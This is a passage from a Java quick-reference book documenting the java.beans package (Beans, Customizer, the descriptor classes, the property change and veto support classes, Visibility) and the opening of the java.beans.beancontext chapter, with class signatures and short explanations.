Returned By: BeanInfo.getAdditionalBeanInfo(), Introspector.getBeanInfo(), SimpleBeanInfo.getAdditionalBeanInfo(), java.beans.beancontext.BeanContextServiceProviderBeanInfo.getServicesBeanInfo()

Beans | Java 1.1
java.beans | PJ1.1

The Beans class is not meant to be instantiated; its static methods provide miscellaneous JavaBeans features. The instantiate() method creates an instance of a bean. The specified bean name represents either a serialized bean file or a bean class file; it is interpreted relative to the specified ClassLoader object.

The setDesignTime() and isDesignTime() methods can set and query a flag that indicates whether beans are being used in a application builder environment. Similarly, setGuiAvailable() and isGuiAvailable() set and query a flag that indicates whether the Java Virtual Machine is running in an environment in which a GUI is available. (Note that untrusted applet code cannot call setDesignTime() or setGuiAvailable().)

The isInstanceOf() method is a replacement for the Java instanceof operator to use with beans. Currently, it behaves like instanceof, but in the future it may work with beans that consist of a set of Java objects, each of which provides a different view of a bean. Similarly, the getInstanceOf() method is a replacement for the Java cast operator. This method converts a bean to a superclass or interface type, and currently, it behaves like a cast, but in the future, it will be compatible with multiclass beans.

public class Beans {
// | Public Constructors
 | public Beans ();
// | Public Class Methods
 | public static Object getInstanceOf (Object bean, Class targetType);
 | public static Object instantiate (ClassLoader cls, String beanName) throws java.io.IOExceptionClassNotFoundException;
1.2 | public static Object instantiate (ClassLoader cls, String beanName, java.beans.beancontext.BeanContext beanContext) throws java.io.IOExceptionClassNotFoundException;
1.2 | public static Object instantiate (ClassLoader cls, String beanName, java.beans.beancontext.BeanContext beanContext, AppletInitializer initializer) throws java.io.IOExceptionClassNotFoundException;
 | public static boolean isDesignTime ();
 | public static boolean isGuiAvailable ();
 | public static boolean isInstanceOf (Object bean, Class targetType);
 | public static void setDesignTime (boolean isDesignTime) throws SecurityException;
 | public static void setGuiAvailable (boolean isGuiAvailable) throws SecurityException;
}
Customizer | Java 1.1
java.beans | PJ1.1

The Customizer interface specifies the methods that must be defined by any class designed to customize a JavaBeans component. In addition to implementing this interface, a customizer class must be a subclass of java.awt.Component and have a constructor that takes no arguments so it can be instantiated by an application builder.

Customizer classes are typically used by a complex bean to allow the user to easily configure the bean and provide an alternative to a simple list of properties and their values. If a customizer class is defined for a bean, it must be associated with the bean through a BeanDescriptor object returned by a BeanInfo class for the bean. Note that while a Customizer class is created by the author of a bean, that class is instantiated and used only by application builders and similar tools.

After a Customizer class is instantiated, its setObject() method is invoked once to specify the bean object to customize. The addPropertyChangeListener() and removePropertyChangeListener() methods can be called to register and deregister PropertyChangeListener objects. The Customizer should send a PropertyChangeEvent to all registered listeners any time it changes a property of the bean it is customizing.

public interface Customizer {
// | Event Registration Methods (by event name)
 | public abstract void addPropertyChangeListener (PropertyChangeListener listener);
 | public abstract void removePropertyChangeListener (PropertyChangeListener listener);
// | Public Instance Methods
 | public abstract void setObject (Object bean);
}
DesignMode Java 1.2
java.beans

This interface defines a single boolean designTime property that specifies whether a bean is running within an interactive design tool or a standalone application or applet. This interface is typically implemented by a bean container or bean context, so that children beans can query the designTime property.

public interface DesignMode {
// | Public Constants
 | public static final String PROPERTYNAME ; | ="designTime"
// | Public Instance Methods
 | public abstract boolean isDesignTime (); |
 | public abstract void setDesignTime (boolean designTime); |
}

Implementations: java.beans.beancontext.BeanContext

EventSetDescriptor | Java 1.1
java.beans | PJ1.1

An EventSetDescriptor object is a type of FeatureDescriptor that describes a single set of events supported by a JavaBeans component. A set of events corresponds to one or more methods supported by a single EventListener interface. The BeanInfo class for a bean optionally creates EventSetDescriptor objects to describe the event sets the bean supports. Typically, only application builders and similar tools use the get and is methods of EventSetDescriptor objects to obtain the event-set description information.

To create an EventSetDescriptor object, you must specify the class of the bean that supports the event set, the base name of the event set, the class of the EventListener interface that corresponds to the event set, and the methods within this interface that are invoked when particular events within the set occur. Optionally, you can also specify the methods of the bean class that add and remove EventListener objects. The various constructors allow you to specify methods by name, as java.lang.reflect.Method objects, or as MethodDescriptor objects.

Once you have created an EventSetDescriptor, use setUnicast() to specify whether it represents a unicast event and setInDefaultEventSet() to specify whether the event set should be treated as the default event set by builder applications. The methods of the FeatureDescriptor superclass allow additional information about the property to be specified.

public class EventSetDescriptor extends FeatureDescriptor {
// | Public Constructors
 | public EventSetDescriptor (Class sourceClass, String eventSetName, Class listenerType, String listenerMethodName) throws IntrospectionException;
 | public EventSetDescriptor (String eventSetName, Class listenerType, MethodDescriptor[ ] listenerMethodDescriptors, java.lang.reflect.Method addListenerMethod, java.lang.reflect.Method removeListenerMethod) throws IntrospectionException;
 | public EventSetDescriptor (String eventSetName, Class listenerType, java.lang.reflect.Method[ ] listenerMethods, java.lang.reflect.Method addListenerMethod, java.lang.reflect.Method removeListenerMethod) throws IntrospectionException;
 | public EventSetDescriptor (Class sourceClass, String eventSetName, Class listenerType, String[ ] listenerMethodNames, String addListenerMethodName, String removeListenerMethodName) throws IntrospectionException;
// | Property Accessor Methods (by property name)
 | public java.lang.reflect.Method getAddListenerMethod ();
 | public boolean isInDefaultEventSet ();
 | public void setInDefaultEventSet (boolean inDefaultEventSet);
 | public MethodDescriptor[ ] getListenerMethodDescriptors ();
 | public java.lang.reflect.Method[ ] getListenerMethods ();
 | public Class getListenerType ();
 | public java.lang.reflect.Method getRemoveListenerMethod ();
 | public boolean isUnicast ();
 | public void setUnicast (boolean unicast);
}

Hierarchy: Object-->FeatureDescriptor-->EventSetDescriptor

Returned By: BeanInfo.getEventSetDescriptors(), SimpleBeanInfo.getEventSetDescriptors()

FeatureDescriptor | Java 1.1
java.beans | PJ1.1

The FeatureDescriptor class is the base class for MethodDescriptor and PropertyDescriptor, as well as other classes used by the JavaBeans introspection mechanism. It provides basic information about a feature (e.g., method, property, or event) of a bean. Typically, the methods that begin with get and is are used by application builders or other tools to query the features of a bean. The set methods, on the other hand, may be used by bean authors to define information about the bean.

setName() specifies the locale-independent, programmatic name of the feature; setDisplayName() specifies a localized, human-readable name; and setShortDescription() specifies a short localized string (about 40 characters) that describes the feature. Both the short description and the localized name default to the value of the programmatic name. setExpert() and setHidden() allow you to indicate that the feature is for use only by experts or by the builder tool and should be hidden from users of the builder. Finally, the setValue() method allows you to associate an arbitrary named value with the feature.

public class FeatureDescriptor {
// | Public Constructors
 | public FeatureDescriptor (); |
// | Property Accessor Methods (by property name)
 | public String getDisplayName (); | default:null
 | public void setDisplayName (String displayName); |
 | public boolean isExpert (); | default:false
 | public void setExpert (boolean expert); |
 | public boolean isHidden (); | default:false
 | public void setHidden (boolean hidden); |
 | public String getName (); | default:null
 | public void setName (String name); |
1.2 | public boolean isPreferred (); | default:false
1.2 | public void setPreferred (boolean preferred); |
 | public String getShortDescription (); | default:null
 | public void setShortDescription (String text); |
// | Public Instance Methods
 | public java.util.Enumeration attributeNames (); |
 | public Object getValue (String attributeName); |
 | public void setValue (String attributeName, Object value); |
}

Subclasses: BeanDescriptor, EventSetDescriptor, MethodDescriptor, ParameterDescriptor, PropertyDescriptor

IndexedPropertyDescriptor | Java 1.1
java.beans | PJ1.1

An IndexedPropertyDescriptor object is a type of PropertyDescriptor that describes a bean property that is (or behaves like) an array. The BeanInfo class for a bean optionally creates and initializes IndexedPropertyDescriptor objects to describe the indexed properties the bean supports. Typically, only application builders and similar tools use the descriptor objects to obtain indexed property description information.

You create an IndexedPropertyDescriptor by specifying the name of the indexed property and the Class object for the bean. If you have not followed the standard design patterns for accessor method naming, you can also specify the accessor methods for the property, either as method names or as java.lang.reflect.Method objects. Once you have created an IndexedPropertyDescriptor object, you can use the methods of PropertyDescriptor and FeatureDescriptor to provide additional information about the indexed property.

public class IndexedPropertyDescriptor extends PropertyDescriptor {
// | Public Constructors
 | public IndexedPropertyDescriptor (String propertyName, Class beanClass) throws IntrospectionException;
 | public IndexedPropertyDescriptor (String propertyName, java.lang.reflect.Method getter, java.lang.reflect.Method setter, java.lang.reflect.Method indexedGetter, java.lang.reflect.Method indexedSetter) throws IntrospectionException;
 | public IndexedPropertyDescriptor (String propertyName, Class beanClass, String getterName, String setterName, String indexedGetterName, String indexedSetterName) throws IntrospectionException;
// | Public Instance Methods
 | public Class getIndexedPropertyType ();
 | public java.lang.reflect.Method getIndexedReadMethod ();
 | public java.lang.reflect.Method getIndexedWriteMethod ();
1.2 | public void setIndexedReadMethod (java.lang.reflect.Method getter) throws IntrospectionException;
1.2 | public void setIndexedWriteMethod (java.lang.reflect.Method setter) throws IntrospectionException;
}

Hierarchy: Object-->FeatureDescriptor-->PropertyDescriptor-->IndexedPropertyDescriptor

IntrospectionException | Java 1.1
java.beans | serializable checked PJ1.1

Signals that introspection on a JavaBeans component cannot be completed. Typically, this indicates a bug in the way the bean or its associated BeanInfo class is defined.

public class IntrospectionException extends Exception {
// | Public Constructors
 | public IntrospectionException (String mess);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IntrospectionException

Thrown By: Too many methods to list.

Introspector | Java 1.1
java.beans | PJ1.1

The Introspector is a class that is never instantiated. Its static getBeanInfo() methods provide a way to obtain information about a JavaBeans component and are typically only invoked by application builders or similar tools. getBeanInfo() first looks for a BeanInfo class for the specified bean class. For a class named x, it looks for a BeanInfo class named x BeanInfo, first in the current package and then in each of the packages in the BeanInfo search path.

If no BeanInfo class is found, or if the BeanInfo class found does not provide complete information about the bean properties, events, and methods, getBeanInfo() introspects on the bean class by using the java.lang.reflect package to fill in the missing information. When explicit information is provided by a BeanInfo class, getBeanInfo() treats it as definitive. When determining information through introspection, however, it examines each of the bean's superclasses in turn, looking for a BeanInfo class at that level or using introspection. When calling getBeanInfo(), you may optionally specify a second class argument that specifies a superclass for which, and above which, getBeanInfo() does not introspect.

public class Introspector {
// | No Constructor
// | Public Constants
1.2 | public static final int IGNORE_ALL_BEANINFO ; | =3
1.2 | public static final int IGNORE_IMMEDIATE_BEANINFO ; | =2
1.2 | public static final int USE_ALL_BEANINFO ; | =1
// | Public Class Methods
 | public static String decapitalize (String name); |
1.2 | public static void flushCaches (); |
1.2 | public static void flushFromCaches (Class clz); |
 | public static BeanInfo getBeanInfo (Class beanClass) throws IntrospectionException; |
1.2 | public static BeanInfo getBeanInfo (Class beanClass, int flags) throws IntrospectionException; |
 | public static BeanInfo getBeanInfo (Class beanClass, Class stopClass) throws IntrospectionException; |
 | public static String[ ] getBeanInfoSearchPath (); | synchronized
 | public static void setBeanInfoSearchPath (String[ ] path); | synchronized
}
MethodDescriptor | Java 1.1
java.beans | PJ1.1

A MethodDescriptor object is a type of FeatureDescriptor that describes a method supported by a JavaBeans component. The BeanInfo class for a bean optionally creates MethodDescriptor objects that describe the methods the bean exports. While a BeanInfo class creates and initializes MethodDescriptor objects, it is typically only application builders and similar tools that use these objects to obtain information about the methods supported by a bean.

To create a MethodDescriptor, you must specify the java.lang.reflect.Method object for the method and, optionally, an array of ParameterDescriptor objects that describe the parameters of the method. Once you have created a MethodDescriptor object, you can use FeatureDescriptor methods to provide additional information about each method.

public class MethodDescriptor extends FeatureDescriptor {
// | Public Constructors
 | public MethodDescriptor (java.lang.reflect.Method method);
 | public MethodDescriptor (java.lang.reflect.Method method, ParameterDescriptor[ ] parameterDescriptors);
// | Public Instance Methods
 | public java.lang.reflect.Method getMethod ();
 | public ParameterDescriptor[ ] getParameterDescriptors ();
}

Hierarchy: Object-->FeatureDescriptor-->MethodDescriptor

Passed To: EventSetDescriptor.EventSetDescriptor()

Returned By: BeanInfo.getMethodDescriptors(), EventSetDescriptor.getListenerMethodDescriptors(), SimpleBeanInfo.getMethodDescriptors()

ParameterDescriptor | Java 1.1
java.beans | PJ1.1

A ParameterDescriptor object is a type of FeatureDescriptor that describes an argument or parameter to a method of a JavaBeans component. The BeanInfo class for a JavaBeans component optionally creates ParameterDescriptor objects that describe the parameters of the methods the bean exports. While the BeanInfo class creates and initializes ParameterDescriptor objects, it is typically only application builders and similar tools that use these objects to obtain information about method parameters supported by the bean.

The ParameterDescriptor class is a trivial subclass of FeatureDescriptor and does not provide any new methods. Thus, you should use the methods of FeatureDescriptor to provide information about method parameters.

public class ParameterDescriptor extends FeatureDescriptor {
// | Public Constructors
 | public ParameterDescriptor ();
}

Hierarchy: Object-->FeatureDescriptor-->ParameterDescriptor

Passed To: MethodDescriptor.MethodDescriptor()

Returned By: MethodDescriptor.getParameterDescriptors()

PropertyChangeEvent | Java 1.1
java.beans | serializable event PJ1.1

PropertyChangeEvent is a subclass of java.util.EventObject. An event of this type is sent to interested PropertyChangeListener objects whenever a JavaBeans component changes a bound property or whenever a PropertyEditor or Customizer changes a property value. A PropertyChangeEvent is also sent to registered VetoableChangeListener objects when a bean attempts to change the value of a constrained property.

When creating a PropertyChangeEvent, you normally specify the bean that generated the event, the programmatic (locale-independent) name of the property that changed, and the old and new values of the property. If the values cannot be determined, null should be passed instead. If the event is a notification that more than one property value changed, the name should also be null. While JavaBeans must generate and send PropertyChangeEvent objects, it is typically only application builders and similar tools that are interested in receiving them.

public class PropertyChangeEvent extends java.util.EventObject {
// | Public Constructors
 | public PropertyChangeEvent (Object source, String propertyName, Object oldValue, Object newValue);
// | Public Instance Methods
 | public Object getNewValue ();
 | public Object getOldValue ();
 | public Object getPropagationId ();
 | public String getPropertyName ();
 | public void setPropagationId (Object propagationId);
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->PropertyChangeEvent

Passed To: PropertyChangeListener.propertyChange(), PropertyChangeSupport.firePropertyChange(), PropertyVetoException.PropertyVetoException(), VetoableChangeListener.vetoableChange(), VetoableChangeSupport.fireVetoableChange(), java.beans.beancontext.BeanContextSupport.{propertyChange(), vetoableChange()}, javax.swing.JList.AccessibleJList.propertyChange(), javax.swing.JTable.AccessibleJTable.propertyChange(), javax.swing.event.SwingPropertyChangeSupport.firePropertyChange(), javax.swing.table.DefaultTableColumnModel.propertyChange()

Returned By: PropertyVetoException.getPropertyChangeEvent()

PropertyChangeListener | Java 1.1
java.beans | event listener PJ1.1

This interface is an extension of java.util.EventListener; it defines the method a class must implement in order to be notified when property changes occur. A PropertyChangeEvent is sent to all registered PropertyChangeListener objects when a bean changes one of its bound properties or when a PropertyEditor or Customizer changes the value of a property.

public interface PropertyChangeListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void propertyChange (PropertyChangeEvent evt);
}

Hierarchy: (PropertyChangeListener(java.util.EventListener))

Implementations: java.beans.beancontext.BeanContextSupport, javax.swing.JList.AccessibleJList, javax.swing.JTable.AccessibleJTable, javax.swing.table.DefaultTableColumnModel

Passed To: Too many methods to list.

Returned By: java.beans.beancontext.BeanContextSupport.getChildPropertyChangeListener(), javax.swing.AbstractButton.createActionPropertyChangeListener(), javax.swing.JCheckBox.createActionPropertyChangeListener(), javax.swing.JComboBox.createActionPropertyChangeListener(), javax.swing.JMenu.createActionChangeListener(), javax.swing.JMenuItem.createActionPropertyChangeListener(), javax.swing.JPopupMenu.createActionChangeListener(), javax.swing.JRadioButton.createActionPropertyChangeListener(), javax.swing.JTextField.createActionPropertyChangeListener(), javax.swing.JToolBar.createActionChangeListener()

PropertyChangeSupport | Java 1.1
java.beans | serializable PJ1.1

The PropertyChangeSupport class is a convenience class that maintains a list of registered PropertyChangeListener objects and provides the firePropertyChange() method for sending a PropertyChangeEvent object to all registered listeners. Because there are some tricky thread-synchronization issues involved in doing this correctly, it is recommended that all JavaBeans that support bound properties either extend this class or, more commonly, create an instance of this class to which they can delegate the task of maintaining the list of listeners.

public class PropertyChangeSupport implements Serializable {
// | Public Constructors
 | public PropertyChangeSupport (Object sourceBean); |
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (PropertyChangeListener listener); | synchronized
 | public void removePropertyChangeListener (PropertyChangeListener listener); | synchronized
// | Public Instance Methods
1.2 | public void addPropertyChangeListener (String propertyName, PropertyChangeListener listener); | synchronized
1.2 | public void firePropertyChange (PropertyChangeEvent evt); |
1.2 | public void firePropertyChange (String propertyName, int oldValue, int newValue); |
1.2 | public void firePropertyChange (String propertyName, boolean oldValue, boolean newValue); |
 | public void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
1.2 | public boolean hasListeners (String propertyName); | synchronized
1.2 | public void removePropertyChangeListener (String propertyName, PropertyChangeListener listener); | synchronized
}

Hierarchy: Object-->PropertyChangeSupport(Serializable)

Subclasses: javax.swing.event.SwingPropertyChangeSupport

Type Of: java.awt.Toolkit.desktopPropsSupport, java.beans.beancontext.BeanContextChildSupport.pcSupport

PropertyDescriptor | Java 1.1
java.beans | PJ1.1

A PropertyDescriptor object is a type of FeatureDescriptor that describes a single property of a JavaBeans component. The BeanInfo class for a bean optionally creates and initializes PropertyDescriptor objects to describe the properties the bean supports. Typically, only application builders and similar tools use the get and is methods to obtain this property description information.

You create a PropertyDescriptor by specifying the name of the property and the Class object for the bean. If you have not followed the standard design patterns for accessor-method naming, you can also specify the accessor methods for the property. Once a PropertyDescriptor is created, the setBound() and setConstrained() methods allow you to specify whether the property is bound and/or constrained. setPropertyEditorClass() allows you to specify a specific property editor that should edit the value of this property (this is useful, for example, when the property is an enumerated type with a specific list of supported values). The methods of the FeatureDescriptor superclass allow additional information about the property to be specified.

public class PropertyDescriptor extends FeatureDescriptor {
// | Public Constructors
 | public PropertyDescriptor (String propertyName, Class beanClass) throws IntrospectionException;
 | public PropertyDescriptor (String propertyName, java.lang.reflect.Method getter, java.lang.reflect.Method setter) throws IntrospectionException;
 | public PropertyDescriptor (String propertyName, Class beanClass, String getterName, String setterName) throws IntrospectionException;
// | Property Accessor Methods (by property name)
 | public boolean isBound ();
 | public void setBound (boolean bound);
 | public boolean isConstrained ();
 | public void setConstrained (boolean constrained);
 | public Class getPropertyEditorClass ();
 | public void setPropertyEditorClass (Class propertyEditorClass);
 | public Class getPropertyType ();
 | public java.lang.reflect.Method getReadMethod ();
1.2 | public void setReadMethod (java.lang.reflect.Method getter) throws IntrospectionException;
 | public java.lang.reflect.Method getWriteMethod ();
1.2 | public void setWriteMethod (java.lang.reflect.Method setter) throws IntrospectionException;
}

Hierarchy: Object-->FeatureDescriptor-->PropertyDescriptor

Subclasses: IndexedPropertyDescriptor

Returned By: BeanInfo.getPropertyDescriptors(), SimpleBeanInfo.getPropertyDescriptors()

PropertyEditor | Java 1.1
java.beans | PJ1.1

The PropertyEditor interface defines the methods that must be implemented by a JavaBeans property editor intended for use within an application builder or similar tool. PropertyEditor is a complex interface because it defines methods to support different ways of displaying property values to the user. It also defines methods to support different ways of allowing the user to edit the property value.

For a property of type x, the author of a bean typically implements a property editor of class x Editor. While the editor is implemented by the bean author, it is usually instantiated or used only by application builders or similar tools (or by a Customizer class for a bean). In addition to implementing the PropertyEditor interface, a property editor must have a constructor that expects no arguments, so that it can be easily be instantiated by an application builder. Also, it must accept registration and deregistration of PropertyChangeListener objects and send a PropertyChangeEvent to all registered listeners when it changes the value of the property being edited. The PropertyEditorSupport class is a trivial implementation of PropertyEditor, suitable for subclassing or for supporting a list of PropertyChangeListener objects.

public interface PropertyEditor {
// | Event Registration Methods (by event name)
 | public abstract void addPropertyChangeListener (PropertyChangeListener listener);
 | public abstract void removePropertyChangeListener (PropertyChangeListener listener);
// | Property Accessor Methods (by property name)
 | public abstract String getAsText ();
 | public abstract void setAsText (String text) throws IllegalArgumentException;
 | public abstract java.awt.Component getCustomEditor ();
 | public abstract String getJavaInitializationString ();
 | public abstract boolean isPaintable ();
 | public abstract String[ ] getTags ();
 | public abstract Object getValue ();
 | public abstract void setValue (Object value);
// | Public Instance Methods
 | public abstract void paintValue (java.awt.Graphics gfx, java.awt.Rectangle box);
 | public abstract boolean supportsCustomEditor ();
}

Implementations: PropertyEditorSupport

Returned By: PropertyEditorManager.findEditor()

PropertyEditorManager | Java 1.1
java.beans | PJ1.1

The PropertyEditorManager class is not meant to be instantiated; it defines static methods for registering and looking up PropertyEditor classes for a specified property type. A bean can specify a particular PropertyEditor class for a given property by specifying it in a PropertyDescriptor object for the property. If it does not do this, the PropertyEditorManager is used to register and look up editors. A bean or an application builder tool can call the registerEditor() method to register a PropertyEditor for properties of a specified type. Application builders and bean Customizer classes can call the findEditor() method to obtain a PropertyEditor for a given property type. If no editor has been registered for a given type, the PropertyEditorManager attempts to locate one. For a type x, it looks for a class x Editor first in the same package as x, and then in each package listed in the property editor search path.

public class PropertyEditorManager {
// | Public Constructors
 | public PropertyEditorManager (); |
// | Public Class Methods
 | public static PropertyEditor findEditor (Class targetType); | synchronized
 | public static String[ ] getEditorSearchPath (); | synchronized
 | public static void registerEditor (Class targetType, Class editorClass); |
 | public static void setEditorSearchPath (String[ ] path); | synchronized
}
PropertyEditorSupport | Java 1.1
java.beans | PJ1.1

The PropertyEditorSupport class is a trivial implementation of the PropertyEditor interface. It provides no-op default implementations of most methods, so you can define simple PropertyEditor subclasses that override only a few required methods. In addition, PropertyEditorSupport defines working versions of addPropertyChangeListener() and removePropertyChangeListener(), along with a firePropertyChange() method that sends a PropertyChangeEvent to all registered listeners. PropertyEditor classes may choose to instantiate a PropertyEditorSupport object simply to handle the job of managing the list of listeners. When used in this way, the PropertyEditorSupport object should be instantiated with a source object specified, so that the source object can be used in the PropertyChangeEvent objects that are sent.

public class PropertyEditorSupport implements PropertyEditor {
// | Protected Constructors
 | protected PropertyEditorSupport (); |
 | protected PropertyEditorSupport (Object source); |
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (PropertyChangeListener listener); | Implements:PropertyEditor synchronized
 | public void removePropertyChangeListener (PropertyChangeListener listener); | Implements:PropertyEditor synchronized
// | Public Instance Methods
 | public void firePropertyChange (); |
// | Methods Implementing PropertyEditor
 | public void addPropertyChangeListener (PropertyChangeListener listener); | synchronized
 | public String getAsText (); |
 | public java.awt.Component getCustomEditor (); | constant
 | public String getJavaInitializationString (); |
 | public String[ ] getTags (); | constant
 | public Object getValue (); |
 | public boolean isPaintable (); | constant
 | public void paintValue (java.awt.Graphics gfx, java.awt.Rectangle box); | empty
 | public void removePropertyChangeListener (PropertyChangeListener listener); | synchronized
 | public void setAsText (String text) throws IllegalArgumentException; |
 | public void setValue (Object value); |
 | public boolean supportsCustomEditor (); | constant
}

Hierarchy: Object-->PropertyEditorSupport(PropertyEditor)

PropertyVetoException | Java 1.1
java.beans | serializable checked PJ1.1

Signals that a VetoableChangeListener that received a PropertyChangeEvent for a constrained property of a bean has vetoed that proposed change. When this exception is received, the property in question should revert to its original value, and any VetoableChangeListener objects that have already been notified of the property change must be renotified to indicate that the property has reverted to its old value. The VetoableChangeSupport class handles this renotification automatically and rethrows the PropertyVetoException to notify its caller that the change was rejected.

public class PropertyVetoException extends Exception {
// | Public Constructors
 | public PropertyVetoException (String mess, PropertyChangeEvent evt);
// | Public Instance Methods
 | public PropertyChangeEvent getPropertyChangeEvent ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->PropertyVetoException

Thrown By: VetoableChangeListener.vetoableChange(), VetoableChangeSupport.fireVetoableChange(), java.beans.beancontext.BeanContextChild.setBeanContext(), java.beans.beancontext.BeanContextChildSupport.{fireVetoableChange(), setBeanContext()}, java.beans.beancontext.BeanContextSupport.{setLocale(), vetoableChange()}, javax.swing.JComponent.fireVetoableChange(), javax.swing.JInternalFrame.{setClosed(), setIcon(), setMaximum(), setSelected()}

SimpleBeanInfo | Java 1.1
java.beans | PJ1.1

The SimpleBeanInfo class is a trivial implementation of the BeanInfo interface. The methods of this class all return null or -1, indicating that no bean information is available. To use this class, you need to override only the method or methods that return the particular type of bean information you want to provide. In addition, SimpleBeanInfo provides a convenience method, loadImage(), that takes a resource name as an argument and returns an Image object. This method is useful when defining the getIcon() method.

public class SimpleBeanInfo implements BeanInfo {
// | Public Constructors
 | public SimpleBeanInfo (); |
// | Public Instance Methods
 | public java.awt.Image loadImage (String resourceName); |
// | Methods Implementing BeanInfo
 | public BeanInfo[ ] getAdditionalBeanInfo (); | constant default:null
 | public BeanDescriptor getBeanDescriptor (); | constant default:null
 | public int getDefaultEventIndex (); | constant default:-1
 | public int getDefaultPropertyIndex (); | constant default:-1
 | public EventSetDescriptor[ ] getEventSetDescriptors (); | constant default:null
 | public java.awt.Image getIcon (int iconKind); | constant
 | public MethodDescriptor[ ] getMethodDescriptors (); | constant default:null
 | public PropertyDescriptor[ ] getPropertyDescriptors (); | constant default:null
}

Hierarchy: Object-->SimpleBeanInfo(BeanInfo)

VetoableChangeListener | Java 1.1
java.beans | event listener PJ1.1

This interface is an extension of java.util.EventListener. It defines the method a class must implement in order to be notified when a Java bean makes a change to a constrained property. A PropertyChangeEvent is passed to the VetoableChange() method when such a change occurs. If the VetoableChangeListener wants to prevent the change from occurring, this method should throw a PropertyVetoException.

public interface VetoableChangeListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void vetoableChange (PropertyChangeEvent evt) throws PropertyVetoException;
}

Hierarchy: (VetoableChangeListener(java.util.EventListener))

Implementations: java.beans.beancontext.BeanContextSupport

Passed To: VetoableChangeSupport.{addVetoableChangeListener(), removeVetoableChangeListener()}, java.beans.beancontext.BeanContextChild.{addVetoableChangeListener(), removeVetoableChangeListener()}, java.beans.beancontext.BeanContextChildSupport.{addVetoableChangeListener(), removeVetoableChangeListener()}, javax.swing.JComponent.{addVetoableChangeListener(), removeVetoableChangeListener()}

Returned By: java.beans.beancontext.BeanContextSupport.getChildVetoableChangeListener()

VetoableChangeSupport | Java 1.1
java.beans | serializable PJ1.1

VetoableChangeSupport is a convenience class that maintains a list of registered VetoableChangeListener objects and provides a fireVetoableChange() method for sending a PropertyChangeEvent to all registered listeners. If any of the registered listeners veto the proposed change, fireVetoableChange() sends out another PropertyChangeEvent notifying previously notified listeners that the property has reverted to its original value. Because of the extra complexity of correctly handling veto-able changes and because of some tricky thread-synchronization issues involved in maintaining the list of listeners, it is recommended that all Java beans that support constrained events create a VetoableChangeSupport object to which they can delegate the tasks of maintaining the list of listeners and of firing events.

public class VetoableChangeSupport implements Serializable {
// | Public Constructors
 | public VetoableChangeSupport (Object sourceBean); |
// | Event Registration Methods (by event name)
 | public void addVetoableChangeListener (VetoableChangeListener listener); | synchronized
 | public void removeVetoableChangeListener (VetoableChangeListener listener); | synchronized
// | Public Instance Methods
1.2 | public void addVetoableChangeListener (String propertyName, VetoableChangeListener listener); | synchronized
1.2 | public void fireVetoableChange (PropertyChangeEvent evt) throws PropertyVetoException; |
1.2 | public void fireVetoableChange (String propertyName, int oldValue, int newValue) throws PropertyVetoException; |
1.2 | public void fireVetoableChange (String propertyName, boolean oldValue, boolean newValue) throws PropertyVetoException; |
 | public void fireVetoableChange (String propertyName, Object oldValue, Object newValue) throws PropertyVetoException; |
1.2 | public boolean hasListeners (String propertyName); | synchronized
1.2 | public void removeVetoableChangeListener (String propertyName, VetoableChangeListener listener); | synchronized
}

Hierarchy: Object-->VetoableChangeSupport(Serializable)

Type Of: java.beans.beancontext.BeanContextChildSupport.vcSupport

Visibility | Java 1.1
java.beans | PJ1.1

This interface is intended to be implemented by advanced beans that can run both with and without a GUI present. The methods it defines allow a bean to specify whether it requires a GUI and allow the environment to notify the bean whether a GUI is available. If a bean absolutely requires a GUI, it should return true from needsGui(). If a bean is running without a GUI, it should return true from avoidingGui(). If no GUI is available, the bean can be notified through a call to dontUseGui(), and if a GUI is available, the bean can be notified through a call to okToUseGui().

public interface Visibility {
// | Public Instance Methods
 | public abstract boolean avoidingGui ();
 | public abstract void dontUseGui ();
 | public abstract boolean needsGui ();
 | public abstract void okToUseGui ();
}

Implementations: java.beans.beancontext.BeanContext

Returned By: java.beans.beancontext.BeanContextSupport.getChildVisibility()

Previous | Home | Next
Reading a Quick-Reference Entry | Book Index | 10. The java.beans.beancontext Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.beans.beancontext Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 10. The java.beans.beancontext Package

The java.beans.beancontext package extends the JavaBeans component model to add the notion of a containment hierarchy. It also supports bean containers that provide an execution context for the beans they contain and that may also provide a set of services to those beans. This package is typically used by advanced bean developers and developers of bean-manipulation tools. Application programmers who are simply using beans do not typically use this package. Figure 10-1 shows the class hierarchy.

Figure 10-1. The java.beans.beancontext package

BeanContext is the central interface of this package. It is a container for beans and also defines several methods that specify context information for beans. BeanContextServices extends BeanContext to define methods that allow a contained bean to query and request available services. A bean that wishes to be told about its containing BeanContext implements the BeanContextChild interface. BeanContext is itself a BeanContextChild, which means that contexts can be nested within other contexts.

See Chapter 6, "JavaBeans", for more information on beans and bean contexts.

BeanContext | Java 1.2
java.beans.beancontext | collection

This interface defines the methods that must be implemented by any class that wants to act as a logical container for JavaBeans components. Every BeanContext is also a BeanContextChild and can therefore be nested within a higher-level bean context. BeanContext is extended by BeanContextServices; any bean context that wants to provide services to the beans it contains must implement this more specialized interface.

The BeanContext interface extends the java.util.Collection interface; the children it contains are accessed using the methods of that interface. In addition, BeanContext defines several important methods of its own. instantiateChild() instantiates a new bean, in the same manner as the standard Beans.instantiate() method, and then makes that new bean a child of the context. Calling this method is typically the same as calling the three-argument version of Beans.instantiate(). getResource() and getResourceAsStream() are the BeanContext versions of the java.lang.Class and java.lang.ClassLoader methods of the same name. Some bean-context implementations may provide special behavior for these methods; others may simply delegate to the Class or ClassLoader of the bean. The remaining two methods allow the registration and deregistration of event listeners that the BeanContext notifies when bean children are added or removed from the context.

Implementing a BeanContext is a more specialized task than developing a JavaBeans component. Many bean developers will never have to implement a bean context themselves. If you do implement a bean context, you'll probably find it easier to use BeanContextSupport, either by extending it or using an instance as a proxy.

public interface BeanContext extends BeanContextChild, java.util.Collection, java.beans.DesignMode, java.beans.Visibility {
// | Public Constants
 | public static final Object globalHierarchyLock ;
// | Event Registration Methods (by event name)
 | public abstract void addBeanContextMembershipListener (BeanContextMembershipListener bcml);
 | public abstract void removeBeanContextMembershipListener (BeanContextMembershipListener bcml);
// | Public Instance Methods
